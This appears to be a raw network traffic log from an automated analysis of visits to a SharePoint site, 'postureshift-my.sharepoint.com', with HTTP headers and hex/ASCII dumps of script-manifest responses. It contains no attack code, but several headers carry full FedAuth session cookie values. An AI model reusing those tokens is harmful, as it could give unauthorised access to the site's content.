2025-03-24 15:04:05 UTC	2752	OUT	GET /_layouts/15/SPComponentRegistry.ashx?projects=[%22STS%22]&languages=%5B%5D HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json Content-Type: application/json Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://postureshift-my.sharepoint.com/_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript [TRUNCATED] Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:05 UTC	2024	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 7070553 Content-Type: application/json ETag: "42533790_sts_default_en-us" P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,48,383,6398895,4204800,4204800,41771 X-Language: en-US X-STSClient-Language: en-US X-SPClient-Language: en-US CachedManifest: False X-AspNet-Version: 4.0.30319 SPRequestDuration: 303 SPIisLatency: 0 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 4B54EF6B99E04CA29BF902F6D3CE8008 Ref B: EWR311000107039 Ref C: 2025-03-24T15:04:05Z Date: Mon, 24 Mar 2025 15:04:04 GMT Connection: close
2025-03-24 15:04:05 UTC	3927	IN	Data Raw: 7b 22 73 74 73 22 3a 7b 22 65 6e 2d 55 53 22 3a 7b 22 53 50 4c 49 53 54 22 3a 7b 22 73 63 72 69 70 74 50 61 74 68 44 61 74 61 22 3a 7b 22 61 72 69 61 2d 6d 69 6e 69 22 3a 22 61 72 69 61 2d 6d 69 6e 69 2d 62 31 64 33 65 62 32 65 22 2c 22 63 75 73 74 6f 6d 66 6f 72 6d 61 74 74 65 72 2d 6d 69 6e 69 22 3a 22 63 75 73 74 6f 6d 66 6f 72 6d 61 74 74 65 72 2d 6d 69 6e 69 2d 66 63 64 30 30 31 33 33 22 2c 22 63 75 73 74 6f 6d 66 6f 72 6d 61 74 74 65 72 2d 6d 69 6e 69 2e 72 65 73 78 22 3a 22 65 6e 2d 75 73 2f 63 75 73 74 6f 6d 66 6f 72 6d 61 74 74 65 72 2d 6d 69 6e 69 2e 72 65 73 78 2d 33 35 37 33 66 35 32 64 22 2c 22 72 6f 6f 73 74 65 72 65 64 69 74 6f 72 2d 6d 69 6e 69 22 3a 22 72 6f 6f 73 74 65 72 65 64 69 74 6f 72 2d 6d 69 6e 69 2d 34 39 39 38 34 36 33 64 22 2c Data Ascii: {"sts":{"en-US":{"SPLIST":{"scriptPathData":{"aria-mini":"aria-mini-b1d3eb2e","customformatter-mini":"customformatter-mini-fcd00133","customformatter-mini.resx":"en-us/customformatter-mini.resx-3573f52d","roostereditor-mini":"roostereditor-mini-4998463d",
2025-03-24 15:04:05 UTC	8192	IN	Data Raw: 57 72 22 2c 22 59 72 22 2c 22 6a 72 22 2c 22 51 72 22 2c 22 4b 72 22 2c 22 42 72 22 2c 22 71 72 22 2c 22 52 72 22 2c 22 47 72 22 2c 22 47 6e 22 2c 22 4e 72 22 2c 22 48 72 22 2c 22 55 72 22 2c 22 46 72 22 2c 22 54 72 22 2c 22 42 6e 22 2c 22 4b 6e 22 2c 22 51 6e 22 2c 22 41 61 22 2c 22 4c 61 22 2c 22 45 61 22 2c 22 59 6e 22 2c 22 77 61 22 2c 22 4f 61 22 2c 22 43 61 22 2c 22 5a 6e 22 2c 22 76 61 22 2c 22 67 61 22 2c 22 58 6e 22 2c 22 57 6e 22 2c 22 50 61 22 2c 22 53 61 22 2c 22 44 61 22 2c 22 79 61 22 2c 22 78 61 22 2c 22 49 61 22 2c 22 4d 61 22 2c 22 6b 61 22 2c 22 4a 6e 22 2c 22 71 6e 22 2c 22 54 61 22 2c 22 4c 72 22 2c 22 41 72 22 2c 22 45 72 22 2c 22 77 72 22 2c 22 4f 72 22 2c 22 43 72 22 2c 22 78 69 22 2c 22 78 72 22 2c 22 49 72 22 2c 22 44 72 22 2c 22 Data Ascii: Wr","Yr","jr","Qr","Kr","Br","qr","Rr","Gr","Gn","Nr","Hr","Ur","Fr","Tr","Bn","Kn","Qn","Aa","La","Ea","Yn","wa","Oa","Ca","Zn","va","ga","Xn","Wn","Pa","Sa","Da","ya","xa","Ia","Ma","ka","Jn","qn","Ta","Lr","Ar","Er","wr","Or","Cr","xi","xr","Ir","Dr","
2025-03-24 15:04:05 UTC	2363	IN	Data Raw: 22 2c 22 73 54 22 2c 22 75 57 22 2c 22 53 78 22 2c 22 50 78 22 2c 22 63 57 22 2c 22 75 78 22 2c 22 67 78 22 2c 22 55 78 22 2c 22 5f 78 22 2c 22 62 78 22 2c 22 54 78 22 2c 22 70 78 22 2c 22 6d 57 22 2c 22 70 57 22 2c 22 46 78 22 2c 22 66 78 22 2c 22 6d 78 22 2c 22 68 78 22 2c 22 4f 57 22 2c 22 46 4b 22 2c 22 72 57 22 2c 22 52 4b 22 2c 22 48 4b 22 2c 22 54 4b 22 2c 22 69 57 22 2c 22 42 4b 22 2c 22 4e 4b 22 2c 22 76 78 22 2c 22 6c 57 22 2c 22 6c 78 22 2c 22 79 78 22 2c 22 64 57 22 2c 22 48 78 22 2c 22 41 78 22 2c 22 4d 78 22 2c 22 77 78 22 2c 22 4f 78 22 2c 22 45 78 22 2c 22 4c 78 22 2c 22 6e 57 22 2c 22 78 78 22 2c 22 74 57 22 2c 22 43 78 22 2c 22 6f 78 22 2c 22 63 78 22 2c 22 73 78 22 2c 22 62 71 22 2c 22 79 4c 22 2c 22 66 57 22 2c 22 45 71 22 2c 22 76 39 Data Ascii: ","sT","uW","Sx","Px","cW","ux","gx","Ux","_x","bx","Tx","px","mW","pW","Fx","fx","mx","hx","OW","FK","rW","RK","HK","TK","iW","BK","NK","vx","lW","lx","yx","dW","Hx","Ax","Mx","wx","Ox","Ex","Lx","nW","xx","tW","Cx","ox","cx","sx","bq","yL","fW","Eq","v9
2025-03-24 15:04:05 UTC	8192	IN	Data Raw: 50 37 22 2c 22 4d 37 22 2c 22 41 37 22 2c 22 67 37 22 2c 22 6c 37 22 2c 22 66 37 22 2c 22 4c 37 22 2c 22 72 62 22 2c 22 62 37 22 2c 22 6d 37 22 2c 22 70 37 22 2c 22 45 37 22 2c 22 77 37 22 2c 22 78 37 22 2c 22 49 37 22 2c 22 43 37 22 2c 22 44 37 22 2c 22 64 37 22 2c 22 6f 37 22 2c 22 72 37 22 2c 22 73 37 22 2c 22 69 37 22 2c 22 61 37 22 2c 22 6e 37 22 2c 22 74 5f 22 2c 22 61 5f 22 2c 22 6e 5f 22 2c 22 59 36 22 2c 22 4a 36 22 2c 22 24 6d 22 2c 22 65 5f 22 2c 22 57 6d 22 2c 22 5a 6d 22 2c 22 42 6d 22 2c 22 56 6d 22 2c 22 6a 6d 22 2c 22 4e 6d 22 2c 22 51 6d 22 2c 22 59 6d 22 2c 22 48 6d 22 2c 22 24 36 22 2c 22 58 6d 22 2c 22 47 6d 22 2c 22 5a 36 22 2c 22 4a 6d 22 2c 22 58 36 22 2c 22 64 5f 22 2c 22 46 6d 22 2c 22 55 6d 22 2c 22 54 6d 22 2c 22 51 36 22 2c 22 Data Ascii: P7","M7","A7","g7","l7","f7","L7","rb","b7","m7","p7","E7","w7","x7","I7","C7","D7","d7","o7","r7","s7","i7","a7","n7","t_","a_","n_","Y6","J6","$m","e_","Wm","Zm","Bm","Vm","jm","Nm","Qm","Ym","Hm","$6","Xm","Gm","Z6","Jm","X6","d_","Fm","Um","Tm","Q6","
2025-03-24 15:04:06 UTC	8192	IN	Data Raw: 38 22 2c 22 56 38 22 2c 22 51 38 22 2c 22 6a 47 22 2c 22 45 46 22 2c 22 69 47 22 2c 22 50 47 22 2c 22 41 47 22 2c 22 4c 47 22 2c 22 4d 47 22 2c 22 42 47 22 2c 22 24 78 22 2c 22 74 43 22 2c 22 65 43 22 2c 22 5f 43 22 2c 22 66 4b 22 2c 22 5f 4b 22 2c 22 70 4b 22 2c 22 6d 4b 22 2c 22 59 64 22 2c 22 65 6c 22 2c 22 4a 64 22 2c 22 43 38 22 2c 22 6b 38 22 2c 22 77 38 22 2c 22 41 38 22 2c 22 4c 38 22 2c 22 4f 38 22 2c 22 47 6f 22 2c 22 50 6f 22 2c 22 43 47 22 2c 22 6c 47 22 2c 22 66 47 22 2c 22 76 47 22 2c 22 63 47 22 2c 22 56 47 22 2c 22 64 47 22 2c 22 57 47 22 2c 22 61 6e 22 2c 22 4d 52 22 2c 22 6e 47 22 2c 22 43 54 22 2c 22 67 6e 22 2c 22 5a 7a 22 2c 22 24 7a 22 2c 22 73 47 22 2c 22 58 38 22 2c 22 5a 38 22 2c 22 4b 44 22 2c 22 65 47 22 2c 22 59 74 22 2c 22 24 Data Ascii: 8","V8","Q8","jG","EF","iG","PG","AG","LG","MG","BG","$x","tC","eC","_C","fK","_K","pK","mK","Yd","el","Jd","C8","k8","w8","A8","L8","O8","Go","Po","CG","lG","fG","vG","cG","VG","dG","WG","an","MR","nG","CT","gn","Zz","$z","sG","X8","Z8","KD","eG","Yt","$
2025-03-24 15:04:06 UTC	8192	IN	Data Raw: 2c 22 62 55 65 22 2c 22 67 46 65 22 2c 22 45 4e 65 22 2c 22 43 35 65 22 2c 22 70 44 65 22 2c 22 53 4d 65 22 2c 22 6c 4d 65 22 2c 22 65 6a 65 22 2c 22 78 42 65 22 2c 22 43 42 65 22 2c 22 54 4e 65 22 2c 22 50 4e 65 22 2c 22 4d 4e 65 22 2c 22 6b 4e 65 22 2c 22 4c 4e 65 22 2c 22 41 4e 65 22 2c 22 77 35 65 22 2c 22 4f 35 65 22 2c 22 4f 42 65 22 2c 22 4d 42 65 22 2c 22 72 4d 65 22 2c 22 69 4d 65 22 2c 22 61 4d 65 22 2c 22 52 6b 65 22 2c 22 45 6b 65 22 2c 22 64 4d 65 22 2c 22 77 4d 65 22 2c 22 78 4d 65 22 2c 22 56 6b 65 22 2c 22 7a 6b 65 22 2c 22 48 6b 65 22 2c 22 63 4d 65 22 2c 22 44 4d 65 22 2c 22 49 4d 65 22 2c 22 4f 4d 65 22 2c 22 77 6b 65 22 2c 22 62 44 65 22 2c 22 77 42 65 22 2c 22 5f 44 65 22 2c 22 6d 44 65 22 2c 22 61 7a 65 22 2c 22 6e 7a 65 22 2c 22 58 Data Ascii: ,"bUe","gFe","ENe","C5e","pDe","SMe","lMe","eje","xBe","CBe","TNe","PNe","MNe","kNe","LNe","ANe","w5e","O5e","OBe","MBe","rMe","iMe","aMe","Rke","Eke","dMe","wMe","xMe","Vke","zke","Hke","cMe","DMe","IMe","OMe","wke","bDe","wBe","_De","mDe","aze","nze","X
2025-03-24 15:04:06 UTC	8192	IN	Data Raw: 2c 22 6e 6d 65 22 2c 22 59 33 65 22 2c 22 47 33 65 22 2c 22 4b 33 65 22 2c 22 51 33 65 22 2c 22 48 33 65 22 2c 22 58 33 65 22 2c 22 73 62 65 22 2c 22 76 66 65 22 2c 22 50 68 65 22 2c 22 72 62 65 22 2c 22 45 67 65 22 2c 22 68 67 65 22 2c 22 4c 75 65 22 2c 22 78 68 65 22 2c 22 64 67 65 22 2c 22 57 75 65 22 2c 22 50 76 65 22 2c 22 6f 75 65 22 2c 22 49 75 65 22 2c 22 61 75 65 22 2c 22 45 64 65 22 2c 22 5a 68 65 22 2c 22 65 62 65 22 2c 22 51 68 65 22 2c 22 4a 68 65 22 2c 22 58 68 65 22 2c 22 71 68 65 22 2c 22 6f 67 65 22 2c 22 5f 62 65 22 2c 22 62 62 65 22 2c 22 70 62 65 22 2c 22 64 62 65 22 2c 22 75 62 65 22 2c 22 6c 62 65 22 2c 22 63 62 65 22 2c 22 79 75 65 22 2c 22 49 6c 65 22 2c 22 44 6c 65 22 2c 22 78 6c 65 22 2c 22 53 6c 65 22 2c 22 41 6d 65 22 2c 22 45 Data Ascii: ,"nme","Y3e","G3e","K3e","Q3e","H3e","X3e","sbe","vfe","Phe","rbe","Ege","hge","Lue","xhe","dge","Wue","Pve","oue","Iue","aue","Ede","Zhe","ebe","Qhe","Jhe","Xhe","qhe","oge","_be","bbe","pbe","dbe","ube","lbe","cbe","yue","Ile","Dle","xle","Sle","Ame","E
2025-03-24 15:04:06 UTC	8192	IN	Data Raw: 2c 22 4b 4a 22 2c 22 24 4a 22 2c 22 5a 4a 22 2c 22 63 58 22 2c 22 4a 4a 22 2c 22 6f 58 22 2c 22 66 58 22 2c 22 58 58 22 2c 22 24 58 22 2c 22 43 58 22 2c 22 59 4a 22 2c 22 44 58 22 2c 22 47 58 22 2c 22 45 58 22 2c 22 4e 58 22 2c 22 42 58 22 2c 22 52 58 22 2c 22 75 58 22 2c 22 6c 58 22 2c 22 76 58 22 2c 22 70 58 22 2c 22 6e 5a 22 2c 22 54 58 22 2c 22 69 5a 22 2c 22 4f 58 22 2c 22 41 58 22 2c 22 48 58 22 2c 22 77 58 22 2c 22 73 58 22 2c 22 4a 58 22 2c 22 49 58 22 2c 22 5a 58 22 2c 22 74 5a 22 2c 22 65 5a 22 2c 22 78 58 22 2c 22 46 58 22 2c 22 53 58 22 2c 22 71 4a 22 2c 22 69 58 22 2c 22 72 58 22 2c 22 57 4a 22 2c 22 51 4a 22 2c 22 4b 58 22 2c 22 71 58 22 2c 22 74 58 22 2c 22 50 58 22 2c 22 79 58 22 2c 22 56 58 22 2c 22 7a 58 22 2c 22 61 58 22 2c 22 59 58 22 Data Ascii: ,"KJ","$J","ZJ","cX","JJ","oX","fX","XX","$X","CX","YJ","DX","GX","EX","NX","BX","RX","uX","lX","vX","pX","nZ","TX","iZ","OX","AX","HX","wX","sX","JX","IX","ZX","tZ","eZ","xX","FX","SX","qJ","iX","rX","WJ","QJ","KX","qX","tX","PX","yX","VX","zX","aX","YX"
2025-03-24 15:04:06 UTC	8192	IN	Data Raw: 22 2c 22 45 43 22 2c 22 4c 43 22 2c 22 4e 67 74 22 2c 22 61 64 22 2c 22 5f 67 74 22 2c 22 66 35 22 2c 22 58 65 22 2c 22 42 6f 22 2c 22 4f 44 22 2c 22 5a 65 22 2c 22 53 74 22 2c 22 43 67 74 22 2c 22 59 67 74 22 2c 22 4f 67 74 22 2c 22 48 6f 22 2c 22 41 67 74 22 2c 22 73 35 22 2c 22 63 35 22 2c 22 4c 44 22 2c 22 64 35 22 2c 22 6c 35 22 2c 22 77 67 74 22 2c 22 4b 50 22 2c 22 70 6c 22 2c 22 7a 35 22 2c 22 6b 67 74 22 2c 22 7a 67 74 22 2c 22 57 67 74 22 2c 22 4b 67 74 22 2c 22 46 67 74 22 2c 22 6a 67 74 22 2c 22 48 67 74 22 2c 22 6d 44 22 2c 22 43 44 22 2c 22 5f 44 22 2c 22 6a 6f 22 2c 22 4c 73 22 2c 22 70 44 22 2c 22 56 6f 22 2c 22 64 44 22 2c 22 66 44 22 2c 22 6c 44 22 2c 22 75 44 22 2c 22 5f 4d 22 2c 22 67 4d 22 2c 22 63 44 22 2c 22 68 4d 22 2c 22 62 4d 22 Data Ascii: ","EC","LC","Ngt","ad","_gt","f5","Xe","Bo","OD","Ze","St","Cgt","Ygt","Ogt","Ho","Agt","s5","c5","LD","d5","l5","wgt","KP","pl","z5","kgt","zgt","Wgt","Kgt","Fgt","jgt","Hgt","mD","CD","_D","jo","Ls","pD","Vo","dD","fD","lD","uD","_M","gM","cD","hM","bM"
2025-03-24 15:04:06 UTC	8192	IN	Data Raw: 3a 7b 22 73 63 72 69 70 74 50 61 74 68 44 61 74 61 22 3a 7b 22 61 72 69 61 2d 6d 69 6e 69 22 3a 22 61 72 69 61 2d 6d 69 6e 69 2d 62 31 64 33 65 62 32 65 22 2c 22 63 75 73 74 6f 6d 66 6f 72 6d 61 74 74 65 72 2d 6d 69 6e 69 22 3a 22 63 75 73 74 6f 6d 66 6f 72 6d 61 74 74 65 72 2d 6d 69 6e 69 2d 30 39 34 38 30 36 30 34 22 2c 22 63 75 73 74 6f 6d 66 6f 72 6d 61 74 74 65 72 2d 6d 69 6e 69 2e 72 65 73 78 22 3a 22 65 6e 2d 75 73 2f 63 75 73 74 6f 6d 66 6f 72 6d 61 74 74 65 72 2d 6d 69 6e 69 2e 72 65 73 78 2d 31 35 34 31 31 37 31 32 22 2c 22 72 6f 6f 73 74 65 72 65 64 69 74 6f 72 2d 6d 69 6e 69 22 3a 22 72 6f 6f 73 74 65 72 65 64 69 74 6f 72 2d 6d 69 6e 69 2d 36 32 30 36 66 66 34 62 22 2c 22 72 6f 6f 73 74 65 72 65 64 69 74 6f 72 2d 6d 69 6e 69 2e 72 65 73 78 22 Data Ascii: :{"scriptPathData":{"aria-mini":"aria-mini-b1d3eb2e","customformatter-mini":"customformatter-mini-09480604","customformatter-mini.resx":"en-us/customformatter-mini.resx-15411712","roostereditor-mini":"roostereditor-mini-6206ff4b","roostereditor-mini.resx"

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:05 UTC	1762	OUT	GET /personal/securedocument_postureshift_com/_api/v2.0/sites/%7B552113f1-ca1e-451c-948b-fdf117b790f0%7D/lists/%7B542dd7ce-432e-4839-81f4-bc418c7ad82b%7D/items/delta?token=latest HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:05 UTC	3341	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 757 Content-Type: application/json; odata.metadata=minimal Expires: -1 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,0,0,3687020,525568,525568,41157 X-SharePointHealthScore: 3 X-VroomVersion: 2.0 OData-Version: 4.0 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b8ad8da1-404f-8000-6ce4-956ca1eaaaee request-id: b8ad8da1-404f-8000-6ce4-956ca1eaaaee MS-CV: oY2tuE9AAIBs5JVsoeqq7g.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5c&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 62 SPIisLatency: 3 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 8A0E729C8DDB486DAB38984569D7BE0C Ref B: EWR311000106045 Ref C: 2025-03-24T15:04:05Z Date: Mon, 24 Mar 2025 15:04:05 GMT Connection: close
